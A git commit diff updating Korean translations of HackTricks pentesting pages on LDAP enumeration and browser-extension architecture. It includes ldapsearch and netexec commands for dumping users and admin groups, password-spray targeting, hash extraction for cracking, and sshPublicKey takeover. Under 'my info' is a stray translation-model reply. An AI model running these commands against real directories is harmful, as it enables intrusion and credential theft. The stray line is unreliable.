Translated ['src/windows-hardening/active-directory-methodology/privileg

This commit is contained in:
Translator 2025-09-30 23:28:40 +00:00
parent 26ece63d68
commit cd4009b8c1
5 changed files with 426 additions and 376 deletions

View File

@ -2,13 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
**LDAP** (경량 디렉터리 접근 프로토콜)의 사용은 주로 조직, 개인 및 파일과 장치와 같은 리소스를 공공 및 사설 네트워크 내에서 찾기 위해 사용됩니다. 이는 이전 버전인 DAP에 비해 더 작은 코드 풋프린트를 가지고 있어 간소화된 접근 방식을 제공합니다.
The use of **LDAP** (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
LDAP 디렉터리는 여러 서버에 분산될 수 있도록 구조화되어 있으며, 각 서버는 디렉터리의 **복제된****동기화된** 버전을 보유하고 있으며, 이를 디렉터리 시스템 에이전트(DSA)라고 합니다. 요청 처리에 대한 책임은 전적으로 LDAP 서버에 있으며, 필요에 따라 다른 DSA와 통신하여 요청자에게 통합된 응답을 제공합니다.
LDAP 디렉터리는 여러 서버에 분산될 수 있도록 구조화되어 있으며, 각 서버는 Directory System Agent (DSA)라고 불리는 디렉터리의 복제되고 동기화된 버전을 보관합니다. 요청 처리 책임은 전적으로 LDAP 서버에 있으며, 필요에 따라 다른 DSA와 통신하여 요청자에게 통합된 응답을 제공합니다.
LDAP 디렉터리의 조직 구조는 **루트 디렉터리가 맨 위에 있는 트리 계층 구조**를 닮고 있습니다. 이는 국가로 분기되고, 국가에서 다시 조직으로 나뉘며, 그 후 다양한 부서나 부서를 나타내는 조직 단위로 나뉘고, 마지막으로 개인 엔티티 수준에 도달하여 사람과 파일 및 프린터와 같은 공유 리소스를 포함합니다.
LDAP 디렉터리의 구성은 최상단의 루트 디렉터리에서 시작하는 트리 계층 구조와 유사합니다. 이는 국가 단위로 분기되고, 다시 조직으로 나뉘며, 여러 부서나 그룹을 나타내는 조직 구성 단위(organizational units)를 거쳐 사람과 파일·프린터 같은 공유 리소스를 포함한 개별 엔티티 수준에 이릅니다.
**기본 포트:** 389 및 636(ldaps). 글로벌 카탈로그(ActiveDirectory의 LDAP)는 기본적으로 포트 3268 및 3269에서 LDAPS를 사용할 수 있습니다.
**기본 포트:** 389 및 636(ldaps). Global Catalog (LDAP in ActiveDirectory)는 기본적으로 포트 3268에서 사용 가능하며 LDAPS의 경우 포트 3269에서 사용 가능합니다.
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
@ -16,7 +16,7 @@ PORT STATE SERVICE REASON
```
### LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format)는 디렉토리 내용을 레코드 집합으로 정의합니다. 또한 업데이트 요청(추가, 수정, 삭제, 이름 변경)을 나타낼 수 있습니다.
LDIF (LDAP Data Interchange Format)은 디렉터리 내용을 레코드 집합으로 정의합니다. 또한 업데이트 요청(Add, Modify, Delete, Rename)을 표현할 수 있습니다.
```bash
dn: dc=local
dc: local
@ -45,14 +45,14 @@ ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
- Lines 1-3 define the top level domain local
- Lines 5-8 define the first level domain moneycorp (moneycorp.local)
- Lines 10-16 define 2 organizational units: dev and sales
- Lines 18-26 create an object of the domain and assign attributes with values
- 1-3행은 최상위 도메인 local을 정의합니다
- 5-8행은 1차 도메인 moneycorp (moneycorp.local)을 정의합니다
- 10-16행은 2개의 조직 단위(organizational units): dev와 sales를 정의합니다
- 18-26행은 도메인 객체를 생성하고 속성에 값을 할당합니다
## Write data
## 데이터 쓰기
값을 수정할 수 있다면 정말 흥미로운 작업을 수행할 수 있습니다. 예를 들어, **사용자 또는 다른 사용자의 "sshPublicKey" 정보를 변경할 수 있다고 상상해 보십시오**. 이 속성이 존재한다면 **ssh가 LDAP에서 공개 키를 읽고 있을 가능성이 높습니다**. 사용자의 공개 키를 수정할 수 있다면 **비밀번호 인증이 ssh에서 활성화되지 않더라도 해당 사용자로 로그인할 수 있습니다**.
값을 수정할 수 있다면 정말 흥미로운 작업을 수행할 수 있다는 점에 유의하세요. 예를 들어, 자신의 사용자나 다른 사용자의 **"sshPublicKey" 정보를 변경할 수 있다**고 상상해보세요. 이 속성이 존재한다면, **ssh가 LDAP에서 공개 키를 읽어오고 있을 가능성이 매우 높습니다**. 사용자의 공개 키를 수정할 수 있다면, **ssh에서 비밀번호 인증이 활성화되어 있지 않더라도 해당 사용자로 로그인할 수 있습니다**.
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
@ -66,28 +66,52 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
```
## Sniff clear text credentials
LDAP가 SSL 없이 사용되면 네트워크에서 **자격 증명을 평문으로 스니핑**할 수 있습니다.
LDAP가 SSL 없이 사용되는 경우 네트워크에서 **sniff credentials in plain text**할 수 있습니다.
또한, **LDAP 서버와 클라이언트** 사이의 네트워크에서 **MITM** 공격을 수행할 수 있습니다. 여기서 클라이언트가 **평문 자격 증명**을 사용하여 로그인하도록 **다운그레이드 공격**을 할 수 있습니다.
또한, 네트워크에서 **MITM** attack을 **between the LDAP server and the client.** 수행할 수 있습니다. 여기서 **Downgrade Attack**을 해서 클라이언트가 **credentials in clear text**를 사용해 로그인하도록 만들 수 있습니다.
**SSL이 사용되는 경우** 위에서 언급한 것처럼 **MITM**을 시도할 수 있지만 **잘못된 인증서**를 제공하여, **사용자가 이를 수락하면** 인증 방법을 다운그레이드하고 자격 증명을 다시 볼 수 있습니다.
**If SSL is used** 경우 위에서 언급한 것처럼 **MITM**을 시도하되 **false certificate**를 제시할 수 있습니다. 사용자가 이를 수락하면 인증 방식을 Downgrade하여 다시 자격 증명을 확인할 수 있습니다.
## Anonymous Access
### Bypass TLS SNI check
[**이 글**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)에 따르면 임의의 도메인 이름(예: company.com)으로 LDAP 서버에 접근하기만 하면 익명 사용자로서 LDAP 서비스에 연락하고 정보를 추출할 수 있었습니다:
According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### LDAP 익명 바인딩
### LDAP anonymous binds
[LDAP 익명 바인딩](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)은 **인증되지 않은 공격자**가 도메인에서 사용자, 그룹, 컴퓨터, 사용자 계정 속성 및 도메인 비밀번호 정책의 전체 목록과 같은 정보를 검색할 수 있도록 허용합니다. 이는 **구식 구성**이며, Windows Server 2003부터는 인증된 사용자만 LDAP 요청을 시작할 수 있습니다.\
그러나 관리자는 **특정 애플리케이션을 설정하여 익명 바인딩을 허용해야 할 필요가 있었**고, 그로 인해 의도한 것보다 더 많은 접근 권한을 부여하여 인증되지 않은 사용자가 AD의 모든 객체에 접근할 수 있게 했을 수 있습니다.
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **인증되지 않은 공격자**가 도메인에서 사용자 전체 목록, 그룹, 컴퓨터, 사용자 계정 속성 및 도메인 암호 정책과 같은 정보를 검색할 수 있습니다. 이는 **레거시 구성**이며, Windows Server 2003부터는 LDAP 요청을 시작할 수 있는 권한이 인증된 사용자에게만 허용됩니다.\ 그러나 관리자는 특정 애플리케이션에 대해 **anonymous binds를 허용하도록 설정**해야 했을 수 있으며, 그 결과 의도한 것보다 더 많은 접근 권한을 부여해 인증되지 않은 사용자가 AD의 모든 객체에 접근할 수 있게 만들었을 수 있습니다.
### Anonymous LDAP enumeration with NetExec (null bind)
If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExecs LDAP module without creds. 유용한 필터:
- (objectClass=*) to inventory objects under a base DN
- (sAMAccountName=*) to harvest user principals
Examples:
```bash
# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
```
확인할 항목:
- sAMAccountName, userPrincipalName
- memberOf와 OU 배치 — targeted sprays의 범위를 정하기 위해
- pwdLastSet(시간적 패턴), userAccountControl 플래그(disabled, smartcard required 등)
참고: anonymous bind가 허용되지 않으면 일반적으로 bind가 필요하다는 것을 나타내는 Operations error가 표시됩니다.
## 유효한 자격 증명
LDAP 서버에 로그인할 수 있는 유효한 자격 증명이 있는 경우, 다음을 사용하여 도메인 관리자에 대한 모든 정보를 덤프할 수 있습니다:
LDAP server에 로그인할 수 있는 유효한 자격 증명이 있다면, Domain Admin에 대한 모든 정보를 덤프하기 위해 다음을 사용할 수 있습니다:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
@ -98,9 +122,9 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
## Enumeration
### Automated
### 자동화
Using this you will be able to see the **공개 정보** (like the domain name)**:**
이를 사용하면 **공개 정보** (예: 도메인 이름)**:** 을 볼 수 있습니다.
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
@ -108,11 +132,11 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
<details>
<summary>See LDAP enumeration with python</summary>
<summary>python으로 LDAP 열거 보기</summary>
You can try to **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3`
다음과 같이 **python을 사용하여 자격 증명 유무와 상관없이 LDAP을 열거**할 수 있습니다: `pip3 install ldap3`
First try to **connect without** credentials:
먼저 **자격 증명 없이 연결**을 시도해보세요:
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
@ -121,7 +145,7 @@ First try to **connect without** credentials:
True
>>> server.info
```
응답이 이전 예제와 같이 `True`인 경우, 다음에서 LDAP의 **흥미로운 데이터**(예: **명명 컨텍스트** 또는 **도메인 이름**) 서버를 얻을 수 있습니다:
이전 예제처럼 응답이 `True`이면 LDAP 서버에서 **흥미로운 데이터**(예: **naming context** 또는 **domain name**)를 다음에서 얻을 수 있습니다:
```bash
>>> server.info
DSA info (from DSE):
@ -129,13 +153,13 @@ Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
일단 네이밍 컨텍스트를 얻으면, 더 흥미로운 쿼리를 만들 수 있습니다. 이 간단한 쿼리는 디렉토리의 모든 객체를 보여줍니다:
명명 컨텍스트를 확보하면 더 흥미로운 쿼리를 실행할 수 있습니다. 이 간단한 쿼리는 디렉터리의 모든 객체를 보여줍니다:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
또는 **dump** 전체 ldap:
또는 ldap 전체를 **dump**:
```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
@ -145,7 +169,7 @@ True
### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch)는 LDAP 쿼리를 활용하여 **Windows** 도메인에서 사용자, 그룹 및 컴퓨터를 **열거하는** 데 유용한 Python 스크립트입니다.
[**Windapsearch**](https://github.com/ropnop/windapsearch) 는 LDAP 쿼리를 이용해 **Windows 도메인에서 사용자, 그룹, 컴퓨터를 enumerate** 하는 데 유용한 Python 스크립트입니다.
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
@ -160,7 +184,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
```
### ldapsearch
null 자격 증명 확인 또는 자격 증명이 유효한지 확인:
null credentials인지 또는 credentials가 유효한지 확인:
```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
@ -173,9 +197,9 @@ result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
"_bind must be completed_"라는 문구가 나타나면 자격 증명이 잘못되었다는 의미입니다.
만약 "_bind must be completed_"라는 메시지가 표시되면 자격 증명이 올바르지 않다는 뜻입니다.
다음 명령어를 사용하여 **도메인에서 모든 것을 추출**할 수 있습니다:
다음을 사용하여 도메인에서 **모든 것**을 추출할 수 있습니다:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
@ -184,48 +208,48 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
-w My password
-b Base site, all data from here will be given
```
**사용자**:
추출 **users**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
**컴퓨터**
추출 **컴퓨터**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**내 정보**:
I don't have the file content. Please paste the markdown from src/network-services-pentesting/pentesting-ldap.md (or the specific text you want processed) or clarify what you mean by "my info". Once you provide it, I'll extract/translate the relevant English text to Korean, preserving all markdown/html, tags, links, code and hacking terms as requested.
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**도메인 관리자** 추출:
추출 **Domain Admins**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**도메인 사용자**:
추출 **Domain Users**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**엔터프라이즈 관리자**:
추출 **Enterprise Admins**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**관리자**:
추출 **Administrators**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**원격 데스크톱 그룹**:
추출 **Remote Desktop Group**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
비밀번호에 접근할 수 있는지 확인하려면 쿼리 중 하나를 실행한 grep을 사용할 수 있습니다:
비밀번호에 접근할 수 있는지 확인하려면 쿼리 중 하나를 실행한 다음 grep을 사용할 수 있습니다:
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
비밀번호는 실제 비밀번호가 아닐 수 있습니다...
Please, notice that the passwords that you can find here could not be the real ones...
#### pbis
**pbis**는 여기에서 다운로드할 수 있습니다: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) 일반적으로 `/opt/pbis`에 설치됩니다.\
다음에서 **pbis**를 다운로드할 수 있습니다: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) 보통 `/opt/pbis`에 설치되어 있습니다.\
**Pbis**는 기본 정보를 쉽게 얻을 수 있게 해줍니다:
```bash
#Read keytab file
@ -255,13 +279,13 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Rem
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
@ -270,51 +294,51 @@ echo "$line";
echo "======================"
done
```
## Graphical Interface
## 그래픽 인터페이스
### Apache Directory
[**여기에서 Apache Directory 다운로드**](https://directory.apache.org/studio/download/download-linux.html). 이 도구를 사용하는 [예제는 여기에서 찾을 수 있습니다](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). 이 도구 사용 예시는 [여기](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s)에서 확인할 수 있습니다.
### jxplorer
여기에서 LDAP 서버와 함께 사용할 수 있는 그래픽 인터페이스를 다운로드할 수 있습니다: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
LDAP 서버가 포함된 그래픽 인터페이스는 여기에서 다운로드할 수 있습니다: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
기본적으로 다음에 설치됩니다: _/opt/jxplorer_
기본적으로 다음 경로에 설치됩니다: _/opt/jxplorer_
![](<../images/image (482).png>)
### Godap
Godap은 AD 및 기타 LDAP 서버의 객체 및 속성과 상호작용할 수 있는 LDAP용 대화형 터미널 사용자 인터페이스입니다. Windows, Linux 및 MacOS에서 사용할 수 있으며, 간단한 바인드, 패스-더-해시, 패스-더-티켓 및 패스-더-인증서와 같은 여러 전문 기능을 지원하며, 객체 검색/생성/변경/삭제, 그룹에서 사용자 추가/제거, 비밀번호 변경, 객체 권한(DACL) 편집, Active-Directory 통합 DNS(ADIDNS) 수정, JSON 파일로 내보내기 등을 포함합니다.
Godap는 LDAP용 대화형 터미널 사용자 인터페이스로, AD 및 기타 LDAP 서버의 객체와 속성을 조작하는 데 사용할 수 있습니다. Windows, Linux 및 MacOS에서 사용 가능하며 simple binds, pass-the-hash, pass-the-ticket & pass-the-cert 등을 지원합니다. 또한 객체 검색/생성/수정/삭제, 그룹에 사용자 추가/제거, 비밀번호 변경, 객체 권한 편집(DACLs), Active-Directory Integrated DNS(ADIDNS) 수정, JSON 파일로 내보내기 등 여러 전문 기능을 제공합니다.
![](../images/godap.png)
[https://github.com/Macmod/godap](https://github.com/Macmod/godap)에서 액세스할 수 있습니다. 사용 예제 및 지침은 [Wiki](https://github.com/Macmod/godap/wiki)를 참조하세요.
다음에서 확인할 수 있습니다: [https://github.com/Macmod/godap](https://github.com/Macmod/godap). 사용 예제와 설명은 [Wiki](https://github.com/Macmod/godap/wiki)를 참조하세요.
### Ldapx
Ldapx는 다른 도구의 LDAP 트래픽을 검사하고 변환하는 데 사용할 수 있는 유연한 LDAP 프록시입니다. LDAP 트래픽을 난독화하여 신원 보호 및 LDAP 모니터링 도구를 우회하려고 시도할 수 있으며, [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) 강연에서 제시된 대부분의 방법을 구현합니다.
Ldapx는 다른 도구의 LDAP 트래픽을 검사하고 변환하는 데 사용할 수 있는 유연한 LDAP 프록시입니다. LDAP 트래픽을 난독화하여 identity protection & LDAP monitoring 도구를 우회하려 시도하는 데 사용할 수 있으며, [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) 발표에서 소개된 대부분의 방법을 구현합니다.
![](../images/ldapx.png)
[https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx)에서 다운로드할 수 있습니다.
다음에서 얻을 수 있습니다: [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
## Authentication via kerberos
`ldapsearch`를 사용하**NTLM** 대신 **kerberos**에 대해 **인증**할 수 있습니다. 매개변수 `-Y GSSAPI`를 사용하세요.
`ldapsearch`를 사용하면 파라미터 `-Y GSSAPI`를 통해 NTLM 대신 kerberos로 **authenticate**할 수 있습니다.
## POST
데이터베이스가 포함된 파일에 접근할 수 있다면(예: _/var/lib/ldap_에 있을 수 있음), 다음을 사용하여 해시를 추출할 수 있습니다:
데이터베이스가 포함된 파일(예: _/var/lib/ldap_)에 접근할 수 있다면, 다음을 사용해 hashes를 추출할 수 있습니다:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
john에 비밀번호 해시를 제공할 수 있습니다 ('{SSHA}'에서 'structural'로, 'structural'을 추가하지 않고).
비밀번호 해시('{SSHA}'부터 'structural'까지 — 'structural'을 덧붙이지 않고)를 john에 입력할 수 있습니다.
### 구성 파일
- 일반
- General
- containers.ldif
- ldap.cfg
- ldap.conf
@ -322,14 +346,14 @@ john에 비밀번호 해시를 제공할 수 있습니다 ('{SSHA}'에서 'struc
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 서버
- IBM SecureWay V3 server
- V3.sas.oc
- Microsoft Active Directory 서버
- Microsoft Active Directory server
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP 디렉토리 서버
- OpenLDAP directory server
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
@ -378,4 +402,10 @@ Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
```
## 참고자료
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
- [NetExec (CME successor)](https://github.com/Pennyw0rth/NetExec)
- [Microsoft: Anonymous LDAP operations to Active Directory are disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,41 +1,41 @@
# 브라우저 확장 Pentesting Methodology
# 브라우저 확장 프로그램 Pentesting 방법론
{{#include ../../banners/hacktricks-training.md}}
## 기본 정보
Browser extensions은 JavaScript로 작성되며 브라우저에 의해 백그라운드에서 로드됩니다. 확장에는 자체 [DOM](https://www.w3schools.com/js/js_htmldom.asp)이 있지만 다른 사이트의 DOM과 상호작용할 수 있습니다. 이는 다른 사이트의 기밀성, 무결성 및 가용성 (CIA)을 침해할 수 있음을 의미합니다.
브라우저 확장 프로그램은 JavaScript로 작성되며 브라우저에 의해 백그라운드에서 로드됩니다. 확장 프로그램은 [DOM](https://www.w3schools.com/js/js_htmldom.asp)을 가지지만 다른 사이트들의 DOM과 상호작용할 수 있습니다. 이는 다른 사이트들의 기밀성(confidentiality), 무결성(integrity), 가용성(availability) (CIA)을 침해할 수 있음을 의미합니다.
## 주요 구성 요소
Extension layouts는 시각화했을 때 가장 잘 보이며 세 가지 구성 요소로 이루어져 있습니다. 각 구성 요소를 자세히 살펴보겠습니다.
확장 프로그램의 레이아웃은 시각화했을 때 가장 잘 이해되며 세 가지 구성 요소로 이루어져 있습니다. 각 구성 요소를 자세히 살펴보겠습니다.
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
### **Content Scripts**
각 content script는 **단일 웹 페이지**의 DOM에 직접 접근할 수 있으므로 **잠재적으로 악성 입력**에 노출됩니다. 그러나 content script는 extension core에 메시지를 보내는 기능 이외의 권한은 포함하지 않습니다.
각 content script는 **단일 웹 페이지**의 DOM에 직접 접근할 수 있으므로 **잠재적으로 악의적인 입력**에 노출됩니다. 그러나 content script는 확장 프로그램 코어에 메시지를 보낼 수 있는 기능 외에는 권한을 가지지 않습니다.
### **Extension Core**
extension core는 확장의 대부분 권한/접근을 포함하지만, extension core는 웹 콘텐츠와 [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) 및 content scripts를 통해서만 상호작용할 수 있습니다. 또한 extension core는 호스트 머신에 직접 접근할 수 없습니다.
extension core는 확장 프로그램의 대부분 권한/접근을 포함하지만, extension core는 웹 컨텐츠와 상호작용할 때 [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)와 content scripts를 통해서만 가능합니다. 또한 extension core는 호스트 시스템에 대한 직접적인 접근 권한이 없습니다.
### **Native Binary**
확장은 사용자의 전체 권한으로 호스트 머신에 접근할 수 있는 native binary를 허용할 수 있습니다. native binary는 Flash 및 기타 브라우저 플러그인에서 사용되는 표준 Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI))를 통해 extension core와 상호작용합니다.
확장 프로그램은 사용자의 전체 권한으로 호스트 시스템에 **접근할 수 있는 native binary**를 허용할 수 있습니다. native binary는 Flash 및 기타 브라우저 플러그인에서 사용되는 표준 Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI))를 통해 extension core와 상호작용합니다.
### 경계
### Boundaries
> [!CAUTION]
> 사용자의 전체 권한을 얻으려면, 공격자는 content script에서 extension core로, 그리고 extension core에서 native binary로 악성 입력을 전달하도록 확장을 설득해야 합니다.
> 사용자의 전체 권한을 얻기 위해, 공격자는 content script에서 extension의 core로 악성 입력을 전달하고 extension의 core에서 native binary로 전달하도록 확장 프로그램을 속여야 합니다.
확장의 각 구성 요소는 서로 간에 **강력한 보호 경계**로 분리되어 있습니다. 각 구성 요소는 **별도의 운영 체제 프로세스**에서 실행됩니다. Content scripts와 extension cores는 대부분의 운영 체제 서비스에서 사용할 수 없는 **sandbox 프로세스**에서 실행됩니다.
확장 프로그램의 각 구성 요소는 서로 **강력한 보호 경계**로 분리되어 있습니다. 각 구성 요소는 **별도의 운영 체제 프로세스**에서 실행됩니다. Content scripts와 extension cores는 대부분의 운영 체제 서비스에서 접근할 수 없는 **sandbox 프로세스**에서 실행됩니다.
더욱이, content scripts는 연관된 웹 페이지와 **별도의 JavaScript 힙에서 실행**됨으로써 분리됩니다. content script와 웹 페이지는 **동일한 기본 DOM에 접근**할 수 있지만, 두 객체는 **절대 JavaScript 포인터를 교환하지 않으며**, 이는 JavaScript 기능의 leaking을 방지합니다.
또한 content scripts는 **별도의 JavaScript 힙에서 실행**됨으로써 관련 웹 페이지와 분리됩니다. content script와 웹 페이지는 **같은 기본 DOM에 접근**할 수 있지만, 두 객체는 **JavaScript 포인터를 절대 교환하지 않으므로** JavaScript 기능의 leak를 방지합니다.
## **`manifest.json`**
A Chrome extension은 [.crx file extension](https://www.lifewire.com/crx-file-2620391)을 가진 단순한 ZIP 폴더입니다. 확장의 핵심은 폴더 루트에 있는 **`manifest.json`** 파일로, 레이아웃, 권한 및 기타 구성 옵션을 지정합니다.
Chrome 확장 프로그램은 단지 [.crx file extension](https://www.lifewire.com/crx-file-2620391)을 가진 ZIP 폴더일 뿐입니다. 확장 프로그램의 핵심은 폴더 루트에 있는 **`manifest.json`** 파일로, 레이아웃, 권한 및 기타 구성 옵션을 지정합니다.
Example:
```json
@ -61,7 +61,7 @@ Example:
```
### `content_scripts`
Content scripts는 사용자가 **일치하는 페이지로 이동할 때마다** **로드됩니다**. 우리의 경우 **`https://example.com/*`** 표현과 일치하고 **`*://*/*/business*`** 정규식과 일치하지 않는 모든 페이지가 해당됩니다. 이들은 **페이지의 고유한 스크립트처럼 실행되며** 페이지의 [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)에 임의로 접근할 수 있습니다.
Content scripts는 사용자가 **일치하는 페이지로 이동할 때마다** **로드됩니다**, 이 경우 **`https://example.com/*`** 표현과 일치하고 **`*://*/*/business*`** 정규식과는 일치하지 않는 모든 페이지가 해당합니다. 이들은 **페이지 자체의 스크립트처럼** 실행되며 페이지의 [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)에 임의로 접근할 수 있습니다.
```json
"content_scripts": [
{
@ -76,9 +76,9 @@ Content scripts는 사용자가 **일치하는 페이지로 이동할 때마다*
}
],
```
더 많은 URL을 포함하거나 제외하려면 **`include_globs`**와 **`exclude_globs`**를 사용할 수 있습니다.
더 많은 URL을 포함하거나 제외하려면 **`include_globs`**와 **`exclude_globs`**를 사용할 수 있습니다.
